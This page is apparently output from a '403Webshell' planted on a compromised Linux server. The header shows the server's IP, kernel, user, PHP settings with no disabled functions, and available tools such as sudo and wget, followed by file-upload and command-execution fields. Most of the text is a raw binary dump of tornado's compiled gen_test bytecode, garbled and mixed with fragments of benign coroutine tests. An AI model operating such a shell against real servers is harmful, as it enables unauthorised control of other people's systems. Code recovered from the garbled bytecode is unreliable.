403Webshell
Server IP : 54.37.205.81  /  Your IP : 216.73.216.76
Web Server : nginx/1.22.1
System : Linux vps-249481fa 6.1.0-50-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1 (2026-07-02) x86_64
User : debian ( 1000)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/tornado/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/tornado/test/__pycache__/gen_test.cpython-311.pyc
�

���iN�����ddlZddlmZddlZddlZddlZddlZddlZddlZddl	Z	ddl
mZddlm
Z
ddlmZmZmZmZddlmZmZddlmZmZmZddlmZ	ddlZn
#e$rdZYnwxYwddlZejrdd	lm Z m!Z!Gd
�de��Z"Gd�d
e��Z#Gd�de��Z$Gd�de��Z%Gd�de��Z&Gd�de��Z'Gd�de��Z(Gd�de��Z)Gd�de��Z*Gd�de��Z+Gd�de��Z,e�ej-d ��Z.e	j/edud!��Gd"�d#e����Z0e1d$kre	j2��dSdS)%�N)�futures)�Future)�app_log)�AsyncHTTPTestCase�
AsyncTestCase�	ExpectLog�gen_test)�skipOnTravis�skipNotCPython)�Application�RequestHandler�	HTTPError)�gen)�List�Optionalc��eZdZejd���Zejd���Zejd���Zejd���Zd�Z	d�Z
d�Zd�Zd	�Z
d
�Zd�Zd�Zd
�Zd�Zd�Zeed�����Zed���Zed���Zed���Zed���Zed���Zed���Zed���Zd�Zd�Zd�Z d�Z!d�Z"d�Z#dS)�GenBasicTestc#�nK�t|��D]}tjV��tj|���)z0Returns arg after a number of IOLoop iterations.)�ranger�moment�Return)�self�
iterations�arg�is    �7/usr/lib/python3/dist-packages/tornado/test/gen_test.py�delayzGenBasicTest.delays>�����z�"�"�	�	�A��*������j��o�o��c#�&K�tjV�|S�N�rr�r�results  r�async_futurezGenBasicTest.async_future&s�����j�����
rc#�&K�tjV�|�r r!)r�es  r�async_exceptionzGenBasicTest.async_exception+s�����j�����rc#�PK�tjV�tj|dz����N��rrr�r�xs  r�
add_one_asynczGenBasicTest.add_one_async0s(�����j�����j��Q����rc�d�tjd���}|j�|��dS)Nc��dSr �r1rr�fz%GenBasicTest.test_no_yield.<locals>.f6s���Dr�r�	coroutine�io_loop�run_sync�rr2s  r�
test_no_yieldzGenBasicTest.test_no_yield5s;��	��	�	�
��	�	
����a� � � � � rc�|�tjd���}|�t|jj|��dS)Nc��ddzdS�Nr*rr1r1rrr2z-GenBasicTest.test_exception_phase1.<locals>.f=���
��E�E�E�Er�rr4�assertRaises�ZeroDivisionErrorr5r6r7s  r�test_exception_phase1z"GenBasicTest.test_exception_phase1<sC��	��	�	�
��	�	
���+�T�\�-B�A�F�F�F�F�Frc�|�tjd���}|�t|jj|��dS)Nc3�0K�tjV�ddzdSr;r!r1rrr2z-GenBasicTest.test_exception_phase2.<locals>.fD�!�����*����
��E�E�E�Err=r7s  r�test_exception_phase2z"GenBasicTest.test_exception_phase2CsC��	��	�	�
��	�	
���+�T�\�-B�A�F�F�F�F�Frc��tjd���}|�tj|jj|��dS)Nc3�K�dV�dS�N�*r1r1rrr2z(GenBasicTest.test_bogus_yield.<locals>.fLs�����H�H�H�H�Hr�rr4r>�
BadYieldErrorr5r6r7s  r�test_bogus_yieldzGenBasicTest.test_bogus_yieldKsE��	��	�	�
��	�	
���#�+�T�\�-B�A�F�F�F�F�Frc��tjd���}|�tj|jj|��dS)Nc3�K�dV�dS�N�r*�r1r1rrr2z.GenBasicTest.test_bogus_yield_tuple.<locals>.fSs�����L�L�L�L�LrrIr7s  r�test_bogus_yield_tuplez#GenBasicTest.test_bogus_yield_tupleRsE��	��	�	�
��	�	
���#�+�T�\�-B�A�F�F�F�F�Frc��tjd���}|j�|��|j�|��dS)Nc3�&K�tjV�dSr r!r1rrr2z"GenBasicTest.test_reuse.<locals>.fZ������*�����rr3r7s  r�
test_reusezGenBasicTest.test_reuseYsQ��	��	�	�
��	�	
����a� � � �����a� � � � � rc�d�tjd���}|j�|��dS)Nc3�K�dV�dSr r1r1rrr2z!GenBasicTest.test_none.<locals>.fbs�����J�J�J�J�Jrr3r7s  r�	test_nonezGenBasicTest.test_noneas;��	��	�	�
��	�	
����a� � � � � rc�j��tj�fd���}�j�|��dS)Nc3��K���d����d��gV�}��|ddg��dS)Nr*rP�)r.�assertEqual��resultsrs �rr2z"GenBasicTest.test_multi.<locals>.fisS�����!�/�/��2�2�D�4F�4F�q�4I�4I�J�J�J�G����W�q�!�f�-�-�-�-�-rr3r7s` r�
test_multizGenBasicTest.test_multihsF���	��	.�	.�	.�	.�
��	.�	
����a� � � � � rc�j��tj�fd���}�j�|��dS)Nc3���K�t��d����d�����V�}��|tdd�����dS)Nr*rP��foo�barr[)�dictr.r\r]s �rr2z'GenBasicTest.test_multi_dict.<locals>.fqse����� �T�%7�%7��%:�%:��@R�@R�ST�@U�@U�V�V�V�V�V�G����W�d�q�a�&8�&8�&8�9�9�9�9�9rr3r7s` r�test_multi_dictzGenBasicTest.test_multi_dictpsF���	��	:�	:�	:�	:�
��	:�	
����a� � � � � rc�j��tj�fd���}�j�|��dS)Nc3��K�tj��dd����dd��g��V�}��|ddg��dS)Nr[�v1r*�v2)r�multi_futurerr\��	responsesrs �rr2z*GenBasicTest.test_multi_delayed.<locals>.fysk�����"�.����A�t�$�$�d�j�j��D�&9�&9�:�����I�
���Y��t��5�5�5�5�5rr3r7s` r�test_multi_delayedzGenBasicTest.test_multi_delayedxsF���	��	6�	6�	6�	6�
��	6�	
����a� � � � � rc�j��tj�fd���}�j�|��dS)Nc	3���K�tjt��dd����dd�������V�}��|tdd�����dS)Nr[rir*rjrb)rrkrerr\rls �rr2z/GenBasicTest.test_multi_dict_delayed.<locals>.f�s|�����"�.�����A�t�,�,�$�*�*�Q��2E�2E�F�F�F�����I�
���Y���4�(@�(@�(@�A�A�A�A�Arr3r7s` r�test_multi_dict_delayedz$GenBasicTest.test_multi_dict_delayed�sK���	��	B�	B�	B�	B�
��	B�	
����a� � � � � rc#�K�tj��}d�td��D��V�tj��}|�||z
d��dS)Nc�&�g|]}tj��Sr1r!)�.0rs  r�
<listcomp>z7GenBasicTest.test_multi_performance.<locals>.<listcomp>�s��/�/�/�a�s�z�/�/�/ri�g�?)�timer�
assertLess)r�start�ends   r�test_multi_performancez#GenBasicTest.test_multi_performance�s\�����	����/�/�5��;�;�/�/�/�/�/�/��i�k�k������e��S�)�)�)�)�)rc#�K�gV�}|�t|t����iV�}|�t|t����dSr )�
assertTrue�
isinstance�listre)rr-�ys   r�test_multi_emptyzGenBasicTest.test_multi_empty�sX�����H�H�����
�1�d�+�+�,�,�,��H�H�����
�1�d�+�+�,�,�,�,�,rc#�dK�|�d��V�}|�|d��dSr)�r$r\r"s  r�test_futurezGenBasicTest.test_future�s;�����(�(��+�+�+�+�������#�#�#�#�#rc#�K�|�d��|�d��gV�}|�|ddg��dS)Nr*rPr��rr^s  r�test_multi_futurezGenBasicTest.test_multi_future�sR�����*�*�1�-�-�t�/@�/@��/C�/C�D�D�D������1�a�&�)�)�)�)�)rc#�K�|�d��}|�d��||�d��|gV�}|�|gd���dS)NrPr*r[)r*rPr[rPr�)rr2r^s   r�test_multi_future_duplicatez(GenBasicTest.test_multi_future_duplicate�sk����
���a� � ���*�*�1�-�-�q�$�2C�2C�A�2F�2F��J�J�J������,�,�,�/�/�/�/�/rc#��K�t|�d��|�d�����V�}|�|tdd�����dS)Nr*rPrb)rer$r\r�s  r�test_multi_dict_futurez#GenBasicTest.test_multi_dict_future�sc������!2�!2�1�!5�!5�4�;L�;L�Q�;O�;O�P�P�P�P�P������$�1�!�"4�"4�"4�5�5�5�5�5rc
#��K�ttd��5|�t��5}t	j|�td����|�td����g��V�ddd��n#1swxYwYddd��n#1swxYwY|�t|j	��d��|�t��5t	j|�td����|�
d��g��V�ddd��n#1swxYwY|�t��5t	j|�td����|�td����gt���V�ddd��dS#1swxYwYdS�Nz!Multiple exceptions in yield listzerror 1zerror 2rP)�quiet_exceptions)rrr>�RuntimeErrorr�Multir'r\�str�	exceptionr$�r�cms  r�test_multi_exceptionsz"GenBasicTest.test_multi_exceptions�s�����
�w� C�
D�
D�	�	��"�"�<�0�0�
�B��i��,�,�\�)�-D�-D�E�E��,�,�\�)�-D�-D�E�E�������
�
�
�
�
�
�
�
�
�
�
����
�
�
�
�	�	�	�	�	�	�	�	�	�	�	����	�	�	�	�	
����R�\�*�*�I�6�6�6��
�
�|�
,�
,�	�	��)��%�%�l�9�&=�&=�>�>��@Q�@Q�RS�@T�@T�U���
�
�
�	�	�	�	�	�	�	�	�	�	�	����	�	�	�	��
�
�|�
,�
,�	�	��)��(�(��i�)@�)@�A�A��(�(��i�)@�)@�A�A��".����
�
�
�	�	�	�	�	�	�	�	�	�	�	�	����	�	�	�	�	�	s[�B/�AB�B/�B	�B/�B	� B/�/B3�6B3�<AE�E�E�9A G&�&G*�-G*c	#�K�ttd��5|�t��5}|�td����|�td����gV�ddd��n#1swxYwYddd��n#1swxYwY|�t
|j��d��|�t��5|�td����|�d��gV�ddd��n#1swxYwY|�t��5tj
|�td����|�td����gt���V�ddd��dS#1swxYwYdSr�)rrr>r�r'r\r�r�r$rrkr�s  r�test_multi_future_exceptionsz)GenBasicTest.test_multi_future_exceptions�s�����
�w� C�
D�
D�	�	��"�"�<�0�0�
�B��(�(��i�)@�)@�A�A��(�(��i�)@�)@�A�A�����
�
�
�
�
�
�
�
�
�
�
����
�
�
�
�	�	�	�	�	�	�	�	�	�	�	����	�	�	�	�	
����R�\�*�*�I�6�6�6��
�
�|�
,�
,�	X�	X��'�'��Y�(?�(?�@�@�$�BS�BS�TU�BV�BV�W�W�W�W�	X�	X�	X�	X�	X�	X�	X�	X�	X�	X�	X����	X�	X�	X�	X��
�
�|�
,�
,�	�	��"��(�(��i�)@�)@�A�A��(�(��i�)@�)@�A�A��".����
�
�
�	�	�	�	�	�	�	�	�	�	�	�	����	�	�	�	�	�	sZ�B�AB�:B�B
	�
B�
B
	�B�B!�$B!�*:D0�0D4�7D4�A G�G�	Gc�d�tjd���}|j�|��dS)Nc�(�tj���r �rrr1rrr2z.GenBasicTest.test_sync_raise_return.<locals>.f�s���*�,�,�rr3r7s  r�test_sync_raise_returnz#GenBasicTest.test_sync_raise_return�s;��	��	�	�
��	�	
����a� � � � � rc�d�tjd���}|j�|��dS)Nc3�HK�tjV�tj���r r+r1rrr2z/GenBasicTest.test_async_raise_return.<locals>.f�s �����*�����*�,�,�rr3r7s  r�test_async_raise_returnz$GenBasicTest.test_async_raise_return�s;��	��	�	�
��	�	
����a� � � � � rc��tjd���}|�d|j�|����dS)Nc�*�tjd���rGr�r1rrr2z4GenBasicTest.test_sync_raise_return_value.<locals>.f�����*�R�.�.� rrH�rr4r\r5r6r7s  r�test_sync_raise_return_valuez)GenBasicTest.test_sync_raise_return_value�sK��	��	!�	!�
��	!�	
����T�\�2�2�1�5�5�6�6�6�6�6rc��tjd���}|�d|j�|����dS)Nc�*�tjd���rNr�r1rrr2z:GenBasicTest.test_sync_raise_return_value_tuple.<locals>.fs���*�V�$�$�$rrOr�r7s  r�"test_sync_raise_return_value_tuplez/GenBasicTest.test_sync_raise_return_value_tuplesK��	��	%�	%�
��	%�	
������!6�!6�q�!9�!9�:�:�:�:�:rc��tjd���}|�d|j�|����dS)Nc3�JK�tjV�tjd���rGr+r1rrr2z5GenBasicTest.test_async_raise_return_value.<locals>.f
�"�����*�����*�R�.�.� rrHr�r7s  r�test_async_raise_return_valuez*GenBasicTest.test_async_raise_return_value	sK��	��	!�	!�
��	!�	
����T�\�2�2�1�5�5�6�6�6�6�6rc��tjd���}|�d|j�|����dS)Nc3�JK�tjV�tjd���rNr+r1rrr2z;GenBasicTest.test_async_raise_return_value_tuple.<locals>.fs$�����*�����*�V�$�$�$rrOr�r7s  r�#test_async_raise_return_value_tuplez0GenBasicTest.test_async_raise_return_value_tuplesK��	��	%�	%�
��	%�	
������!6�!6�q�!9�!9�:�:�:�:�:rN)$�__name__�
__module__�__qualname__rr4rr$r'r.r8r@rDrKrQrUrXr_rfrnrqr
r	rzr�r�r�r�r�r�r�r�r�r�r�r�r�r1rrrrss�������]����]��	�]����]��	�]����]��	�]� � ��]� �!�!�!�G�G�G�G�G�G�G�G�G�G�G�G�!�!�!�!�!�!�!�!�!�!�!�!�	!�	!�	!�	!�	!�	!��
�*�*��X��\�*��-�-��X�-��$�$��X�$��*�*��X�*��0�0��X�0��6�6��X�6�����X��6����X��.!�!�!�!�!�!�7�7�7�;�;�;�7�7�7�;�;�;�;�;rrc�F��eZdZ�fd�Z�fd�Zd�Zd�Zed���Zed���Z	ed���Z
ed���Zed	���Zed
���Z
ed���Zed���Zed
���Zed���Zed���Zed���Zed���Zed���Zed���Zed���Zed���Zed���Zeejdejcxkodkncd��d�����Zd�Z ed���Z!�xZ"S)�GenCoroutineTestc�V��d|_t�����dS)NF)�finished�super�setUp�r�	__class__s �rr�zGenCoroutineTest.setUps!�����
�
���
�
�����rc�Z��t�����|jsJ�dSr )r��tearDownr�r�s �rr�zGenCoroutineTest.tearDown"s-���
���������}�����rc��d|_d�}tj|��}|�|j|j��|�|j|j��|�|j|��dS)NTc3�&K�tjV�dSr r!r1rrr2z+GenCoroutineTest.test_attributes.<locals>.f)������*�����r)r�rr4r\r�r��assertIs�__wrapped__�rr2�coros   r�test_attributesz GenCoroutineTest.test_attributes&sz����
�	�	�	��}�Q����������
�3�3�3������!�,�7�7�7��
�
�d�&��*�*�*�*�*rc�<�d|_d�}tj|��}|�tj|����|�tj|����|�tj|������dS)NTc3�&K�tjV�dSr r!r1rrr2z6GenCoroutineTest.test_is_coroutine_function.<locals>.f4r�r)r�rr4�assertFalse�is_coroutine_functionr|r�s   r�test_is_coroutine_functionz+GenCoroutineTest.test_is_coroutine_function1s�����
�	�	�	��}�Q��������2�1�5�5�6�6�6�����1�$�7�7�8�8�8�����2�4�4�6�6�:�:�;�;�;�;�;rc#�K�tjd���}|��V�}|�|d��d|_dS)Nc�*�tjd���rGr�r1rrr2z0GenCoroutineTest.test_sync_gen_return.<locals>.f>r�rrHT�rr4r\r��rr2r#s   r�test_sync_gen_returnz%GenCoroutineTest.test_sync_gen_return<sS����	��	!�	!�
��	!��q�s�s���������$�$�$���
�
�
rc#�K�tjd���}|��V�}|�|d��d|_dS)Nc3�JK�tjV�tjd���rGr+r1rrr2z1GenCoroutineTest.test_async_gen_return.<locals>.fHr�rrHTr�r�s   r�test_async_gen_returnz&GenCoroutineTest.test_async_gen_returnFsS����	��	!�	!�
��	!��q�s�s���������$�$�$���
�
�
rc#�K�tjd���}|��V�}|�|d��d|_dS)Nc��dSrGr1r1rrr2z,GenCoroutineTest.test_sync_return.<locals>.fSs���2rrHTr�r�s   r�test_sync_returnz!GenCoroutineTest.test_sync_returnQsS����	��	�	�
��	��q�s�s���������$�$�$���
�
�
rc#�K�tjd���}|��V�}|�|d��d|_dS)Nc3�&K�tjV�dSrGr!r1rrr2z-GenCoroutineTest.test_async_return.<locals>.f]s�����*�����2rrHTr�r�s   r�test_async_returnz"GenCoroutineTest.test_async_return[sS����	��	�	�
��	��q�s�s���������$�$�$���
�
�
rc#��K�tj�fd���}|��V�}��|d��d�_dS)Nc3��K�	dS)NTrH)r�Taskr5�add_callback�rs�rr2z3GenCoroutineTest.test_async_early_return.<locals>.fks�����
��rrrHTr�r�s`  r�test_async_early_returnz(GenCoroutineTest.test_async_early_returnfs`�����


��	6�	6�	6�	6�
��	6�
�q�s�s���������$�$�$���
�
�
rc#��K�tjd�����fd�}|��V�}|�|d��d|_dS)Nc3�JK�tjV�tjd���rGr+r1rr�f1z-GenCoroutineTest.test_async_await.<locals>.f1wr�rc��,�K�����d{V��}|Sr r1)r#r�s �r�f2z-GenCoroutineTest.test_async_await.<locals>.f2s#������2�4�4�Z�Z�Z�Z�Z�Z�F��MrrHTr��rr�r#r�s   @r�test_async_awaitz!GenCoroutineTest.test_async_awaitusm�����	��	!�	!�
��	!�	�	�	�	�	��r�t�t���������$�$�$���
�
�
rc#�bK�d�}|��V�}|�|d��d|_dS)Nc��>K�ddl}|jd���d{V��dS)NrrH)�asyncio�sleep)r�s rr2z3GenCoroutineTest.test_asyncio_sleep_zero.<locals>.f�s8�����N�N�N��'�-��"�"�"�"�"�"�"�"�"��2rrHT)r\r�r�s   r�test_asyncio_sleep_zeroz(GenCoroutineTest.test_asyncio_sleep_zero�sG����	�	�	��q�s�s���������$�$�$���
�
�
rc#���K�tjd�����fd�}tjd���}|��|��gV�}|�|ddg��d|_dS)Nc3�&K�tjV�dSr r!r1rrr�zGGenCoroutineTest.test_async_await_mixed_multi_native_future.<locals>.f1�rTrc��,�K�����d{V��dSrGr1�r�s�rr�zGGenCoroutineTest.test_async_await_mixed_multi_native_future.<locals>.f2�s#������"�$�$�J�J�J�J�J�J�J��2rc3�JK�tjV�tjd���)N�+r+r1rr�f3zGGenCoroutineTest.test_async_await_mixed_multi_native_future.<locals>.f3�r�rrHr�Tr�)rr�r�r^r�s    @r�*test_async_await_mixed_multi_native_futurez;GenCoroutineTest.test_async_await_mixed_multi_native_future�s������	��	�	�
��	�	�	�	�	�	�

��	!�	!�
��	!�����r�r�t�t��$�$������2�r�(�+�+�+���
�
�
rc#�K�d�}tjtjd���|����V�}|�|d��d|_dS)Nc��
K�dSrGr1r1rrr�z4GenCoroutineTest.test_async_with_timeout.<locals>.f1�s�����2rr*)�hoursrHT)r�with_timeout�datetime�	timedeltar\r�)rr�r#s   r�test_async_with_timeoutz(GenCoroutineTest.test_async_with_timeout�sd����	�	�	��'��(:��(C�(C�(C�R�R�T�T�J�J�J�J�������$�$�$���
�
�
rc#�K�tjd���}|��V�}|�|d��d|_dS)Nc��dSr r1r1rrr2z5GenCoroutineTest.test_sync_return_no_value.<locals>.f�s���FrTr�r�s   r�test_sync_return_no_valuez*GenCoroutineTest.test_sync_return_no_value�sS����	��	�	�
��	��q�s�s���������&�&�&���
�
�
rc#�K�tjd���}|��V�}|�|d��d|_dS)Nc3�&K�tjV�dSr r!r1rrr2z6GenCoroutineTest.test_async_return_no_value.<locals>.f�s�����*�����FrTr�r�s   r�test_async_return_no_valuez+GenCoroutineTest.test_async_return_no_value�sU����

��	�	�
��	��q�s�s���������&�&�&���
�
�
rc#��K�tjd���}|��}|�t��5|V�ddd��n#1swxYwYd|_dS)Nc��ddzdSr;r1r1rrr2z+GenCoroutineTest.test_sync_raise.<locals>.f�r<rT�rr4r>r?r��rr2�futures   r�test_sync_raisez GenCoroutineTest.test_sync_raise�s�����	��	�	�
��	������
�
�
�0�
1�
1�	�	��L�L�L�	�	�	�	�	�	�	�	�	�	�	����	�	�	�	���
�
�
��A
�
A�Ac#��K�tjd���}|��}|�t��5|V�ddd��n#1swxYwYd|_dS)Nc3�0K�tjV�ddzdSr;r!r1rrr2z,GenCoroutineTest.test_async_raise.<locals>.f�rCrTr�r�s   r�test_async_raisez!GenCoroutineTest.test_async_raise�s�����	��	�	�
��	������
�
�
�0�
1�
1�	�	��L�L�L�	�	�	�	�	�	�	�	�	�	�	����	�	�	�	���
�
�
rc#���K�tjd����tj�fd���}|��}|�t��5|V�ddd��n#1swxYwYd|_dS)Nc��ddzdSr;r1r1rrr�z>GenCoroutineTest.test_replace_yieldpoint_exception.<locals>.f1�r<rc3�^�K�	���V�dS#t$rt���wxYwr )r?�KeyErrorr�s�rr�z>GenCoroutineTest.test_replace_yieldpoint_exception.<locals>.f2�sD�����
!��b�d�d�
�
�
�
�
��$�
!�
!�
!��j�j� �
!���s��,T)rr4r>r	r�)rr�rr�s   @r�!test_replace_yieldpoint_exceptionz2GenCoroutineTest.test_replace_yieldpoint_exception�s������

��	�	�
��	�

��	!�	!�	!�	!�
��	!������
�
�
�x�
(�
(�	�	��L�L�L�	�	�	�	�	�	�	�	�	�	�	����	�	�	�	���
�
�
s�A%�%A)�,A)c#��K�tjd����tj�fd���}|��V�}|�|d��d|_dS)Nc��ddzdSr;r1r1rrr�z>GenCoroutineTest.test_swallow_yieldpoint_exception.<locals>.f1�r<rc3�j�K�	���V�dS#t$rtjd���wxYwrG)r?rrr�s�rr�z>GenCoroutineTest.test_swallow_yieldpoint_exception.<locals>.f2�sH�����
%��b�d�d�
�
�
�
�
��$�
%�
%�
%��j��n�n�$�
%���s��2rHTr�r�s   @r�!test_swallow_yieldpoint_exceptionz2GenCoroutineTest.test_swallow_yieldpoint_exception�s}�����

��	�	�
��	�

��	%�	%�	%�	%�
��	%��r�t�t���������$�$�$���
�
�
rc#�h�K�g�tj�fd���}t��}|�d��|d|��|d|��gV�|�d����d��g�|dtj��|dtj��gV�|�d����d��d|_g�|dtj��|d|��gV�|�d����d��dS)	Nc3�b�K�td��D]}��|��|V��dS)N�)r�append)�name�	yieldabler�callss   �rr2z'GenCoroutineTest.test_moment.<locals>.fsC������1�X�X�
 �
 �����T�"�"�"������
 �
 r�a�b��
aaaaabbbbb�
abababababT�
abbbbbaaaa)rr4r�
set_resultr\�joinrr�)rr2�	immediaters   @r�test_momentzGenCoroutineTest.test_momentsJ�������	��	 �	 �	 �	 �
��	 ��H�H�	����T�"�"�"��q��i� � �!�!�C��"3�"3�4�4�4�4�����������6�6�6����q��c�j�!�!�1�1�S�#�*�#5�#5�6�6�6�6�����������6�6�6���
����q��c�j�!�!�1�1�S�)�#4�#4�5�5�5�5�����������6�6�6�6�6rc#�DK�tjd��V�d|_dS)N�{�G�z�?T)rr�r�r�s r�
test_sleepzGenCoroutineTest.test_sleep#s%�����i��o�o������
�
�
rc#���K�Gd�dt���tj�fd���}	|d��V�nO#�$rG}|�t	|��d��|�|j��Yd}~nd}~wwxYw	|d��V�nO#�$rG}|�t	|��d��|�|j��Yd}~nd}~wwxYwd|_dS)	Nc��eZdZdS)�IGenCoroutineTest.test_py3_leak_exception_context.<locals>.LeakedExceptionN�r�r�r�r1rr�LeakedExceptionr%*s�������Drr'c����|���r r1)�	iterationr's �r�innerz?GenCoroutineTest.test_py3_leak_exception_context.<locals>.inner-s���!�/�)�,�,�,rr*�1rP�2T)�	Exceptionrr4r\r��assertIsNone�__context__r�)rr*r&r's   @r�test_py3_leak_exception_contextz0GenCoroutineTest.test_py3_leak_exception_context(sU�����	�	�	�	�	�i�	�	�	�

��	-�	-�	-�	-�
��	-�	-��%��(�(�N�N�N�N���	-�	-�	-����S��V�V�S�)�)�)����a�m�,�,�,�,�,�,�,�,�����	-����	-��%��(�(�N�N�N�N���	-�	-�	-����S��V�V�S�)�)�)����a�m�,�,�,�,�,�,�,�,�����	-������
�
�
s-�
=�B	�=B�B	�

B�C'� =C"�"C'�r[)r[�z#asyncio.Future has reference cyclesc����tj�fd����tj�fd���}�j�|d���������d��d�_dS)Nc3���K�Gd�dt��}|��}tj|���_d�}t	j|����V�t
d���)Nc��eZdZdS)�GGenCoroutineTest.test_coroutine_refcounting.<locals>.inner.<locals>.FooNr&r1rr�Foor6Hs�������rr7c��dSr r1r1rr�dummyzIGenCoroutineTest.test_coroutine_refcounting.<locals>.inner.<locals>.dummyN����rz
Some error)�object�weakref�ref�	local_refrr4�
ValueError)r7�	local_varr9rs   �rr*z:GenCoroutineTest.test_coroutine_refcounting.<locals>.innerFs������
�
�
�
�
�f�
�
�
�����I�$�[��3�3�D�N�
�
�
�'�#�-��&�&�(�(�(�(�(��\�*�*�*rc3�H�K�	���V�dS#t$rYdSwxYwr )r?)r*s�r�inner2z;GenCoroutineTest.test_coroutine_refcounting.<locals>.inner2TsA�����
��e�g�g�
�
�
�
�
���
�
�
����
���s��
!�!r[)�timeoutT)rr4r5r6r�r>r�)rrBr*s` @r�test_coroutine_refcountingz+GenCoroutineTest.test_coroutine_refcounting?s�����

��	+�	+�	+�	+�
��	+�

��	�	�	�	�
��	�	
����f�a��0�0�0��
�
�d�n�n�&�&��-�-�-���
�
�
rc��d|_tj��}|�|j|�����|�d��d�}t
j|����}|�|tj	��dt|jjdzfz}t|��}|�||��dS)NTc3�&K�tjV�dSr r!r1rrr2z:GenCoroutineTest.test_asyncio_future_debug_info.<locals>.fgr�rzcreated at %s:%dr[)r�r��get_event_loop�
addCleanup�	set_debug�	get_debugrr4�assertIsInstancer�__file__�__code__�co_firstlineno�repr�assertIn)r�asyncio_loopr2r��expected�actuals      r�test_asyncio_future_debug_infoz/GenCoroutineTest.test_asyncio_future_debug_info`s�����
��-�/�/������.��0F�0F�0H�0H�I�I�I����t�$�$�$�	�	�	� �s�}�Q���!�!�����d�G�N�3�3�3�&��1�:�3L�q�3P�(Q�Q���d�����
�
�h��'�'�'�'�'rc#�K�tjd���}tj|��|����V�}|�|ddg��d|_dS)Nc3�JK�tjV�tjd���r)r+r1rrr2z/GenCoroutineTest.test_asyncio_gather.<locals>.fvs"�����*�����*�Q�-�-�rr*T)rr4r��gatherr\r�)rr2�rets   r�test_asyncio_gatherz$GenCoroutineTest.test_asyncio_gatherrsm����

��	 �	 �
��	 ��N�1�1�3�3�����,�,�,�,������q�!�f�%�%�%���
�
�
r)#r�r�r�r�r�r�r�r	r�r�r�r�r�r�r�r�r�r�r�rrr
rrr"r0r�unittest�skipIf�sys�version_inforDrTrY�
__classcell__)r�s@rr�r�s������������������	+�	+�	+�	<�	<�	<�����X������X������X������X������X������X��"����X������X��$����X������X���	�	��X�	�����X���	�	��X�	�����X��&����X��$�7�7��X�7�4����X������X��,��X�_��s��(�(�(�(�&�(�(�(�(�*O��������^��:(�(�(�$�
�
��X�
�
�
�
�
rr�c�.�eZdZejd���ZdS)�GenCoroutineSequenceHandlerc#��K�tjV�|�d��tjV�|�d��tjV�|�d��dS�Nr+r,�3)rr�write�finishr�s r�getzGenCoroutineSequenceHandler.get�sf�����j�����
�
�3�����j�����
�
�3�����j�������C�����rN�r�r�r�rr4rfr1rrr`r`�s/�������]����]���rr`c�.�eZdZejd���ZdS)�%GenCoroutineUnfinishedSequenceHandlerc#��K�tjV�|�d��tjV�|�d��tjV�|�d��dSrb)rrrdr�s rrfz)GenCoroutineUnfinishedSequenceHandler.get�sa�����j�����
�
�3�����j�����
�
�3�����j�����
�
�3�����rNrgr1rrriri�s/�������]����]���rric�N�eZdZejd���Zejd���ZdS)�UndecoratedCoroutinesHandlerc#�hK�g|_tjV�|j�d��dS)Nr+)�chunksrrrr�s r�preparez$UndecoratedCoroutinesHandler.prepare�s7��������j��������3�����rc#�K�|j�d��tjV�|j�d��tjV�|�d�|j����dS)Nr,rcr)rnrrrrdrr�s rrfz UndecoratedCoroutinesHandler.get�st��������3�����j��������3�����j�����
�
�2�7�7�4�;�'�'�(�(�(�(�(rN�r�r�r�rr4rorfr1rrrlrl�sL�������]� � ��]� �
	�]�)�)��]�)�)�)rrlc�4�eZdZejd���Zd�ZdS)�AsyncPrepareErrorHandlerc#�@K�tjV�td���)N�)rrrr�s rroz AsyncPrepareErrorHandler.prepare�s �����j������n�n�rc�0�|�d��dS)N�ok)rer�s rrfzAsyncPrepareErrorHandler.get�s�����D�����rNrqr1rrrsrs�s>�������]����]������rrsc��eZdZd�ZdS)�NativeCoroutineHandlerc��hK�tjd���d{V��|�d��dS)Nrrw)r�r�rdr�s rrfzNativeCoroutineHandler.get�s@�����m�A�����������
�
�4�����rN)r�r�r�rfr1rrryry�s#����������rryc�2�eZdZd�Zd�Zd�Zd�Zd�Zd�ZdS)�
GenWebTestc�p�tdtfdtfdtfdtfdt
fg��S)N�/coroutine_sequence�/coroutine_unfinished_sequence�/undecorated_coroutine�/async_prepare_error�/native_coroutine)rr`rirlrsryr�s r�get_appzGenWebTest.get_app�sJ���&�(C�D�4�9��*�+G�H�'�)A�B�$�&<�=�	
�
�
�	
rc�f�|�d��}|�|jd��dS)Nr~�123��fetchr\�body�r�responses  r�test_coroutine_sequence_handlerz*GenWebTest.test_coroutine_sequence_handler�s2���:�:�3�4�4��������/�/�/�/�/rc�f�|�d��}|�|jd��dS)Nrr�r�r�s  r�*test_coroutine_unfinished_sequence_handlerz5GenWebTest.test_coroutine_unfinished_sequence_handler�s2���:�:�>�?�?��������/�/�/�/�/rc�f�|�d��}|�|jd��dS)Nr�r�r�r�s  r�test_undecorated_coroutinesz&GenWebTest.test_undecorated_coroutines�s2���:�:�6�7�7��������/�/�/�/�/rc�f�|�d��}|�|jd��dS)Nr�ru)r�r\�coder�s  r� test_async_prepare_error_handlerz+GenWebTest.test_async_prepare_error_handler�s2���:�:�4�5�5��������,�,�,�,�,rc��|�d��}|�|jd��|�|jd��dS)Nr���sok)r�r\r�r�r�s  r�test_native_coroutine_handlerz(GenWebTest.test_native_coroutine_handler�sJ���:�:�1�2�2��������,�,�,�������.�.�.�.�.rN)	r�r�r�r�r�r�r�r�r�r1rrr|r|�sn������
�
�
�0�0�0�0�0�0�0�0�0�-�-�-�/�/�/�/�/rr|c��eZdZed���Zed���Zed���Zed���Zed���Zed���Z	ed���Z
dS)	�WithTimeoutTestc#��K�|�tj��5tjt	jd���t
����V�ddd��dS#1swxYwYdS)N皙�����?��seconds)r>r�TimeoutErrorr�r�r�rr�s r�test_timeoutzWithTimeoutTest.test_timeout�s�����
�
�
�s�/�
0�
0�	N�	N��"�8�#5�c�#B�#B�#B�F�H�H�M�M�M�M�M�	N�	N�	N�	N�	N�	N�	N�	N�	N�	N�	N�	N����	N�	N�	N�	N�	N�	Ns�7A&�&A*�-A*c#�
